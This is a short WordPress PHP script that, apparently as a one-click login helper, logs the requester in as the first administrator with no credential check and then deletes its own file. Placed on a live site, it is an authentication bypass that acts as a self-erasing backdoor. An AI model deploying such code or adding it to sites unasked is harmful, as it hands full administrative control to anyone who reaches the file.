			<?php
			require_once('wp-load.php');

			function prevent_redirection_wpse() {
				return false;
			}

			add_filter('wp_redirect', 'prevent_redirection_wpse', 10, 2);

			$wp_did_header = true;

			require("wp-blog-header.php");
			require("wp-includes/pluggable.php");

			remove_filter('wp_redirect', 'prevent_redirection_wpse', 10, 2);

			$protocol = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https://" : "http://";
			$hostname = $_SERVER["HTTP_HOST"];
			$uri = $_SERVER["REQUEST_URI"];
			$fullAddress = $protocol . $hostname . $uri;

			$siteUrl = get_option("siteurl");

			if (strpos($siteUrl, "www") !== false && strpos($fullAddress, "www") == false) {
				$replacedUrl = str_replace($protocol, $protocol . "www.", $fullAddress);
				header("Location: " . $replacedUrl);
				exit;
			}

			@unlink(__FILE__);
			$admins = get_users( array(
				'role'    => 'administrator',
				'orderby' => 'ID',
				'order'   => 'ASC',
				'number'  => 1,
			) );

			if ( ! empty( $admins ) ) {
				$userObject  = $admins[0];
			} else {
				echo 'Error: Could not automatically login to WordPress.';
			}


			if ( !is_wp_error( $userObject ) )
			{
				nocache_headers();
				wp_clear_auth_cookie();
				wp_set_current_user( $userObject->ID, $userObject->user_login ) ;
				wp_set_auth_cookie( $userObject->ID, true ) ;

				wp_safe_redirect( get_admin_url() );
				exit;
			}
			else{
				echo 'Error: Could not automatically login to WordPress.';
			}
			?>
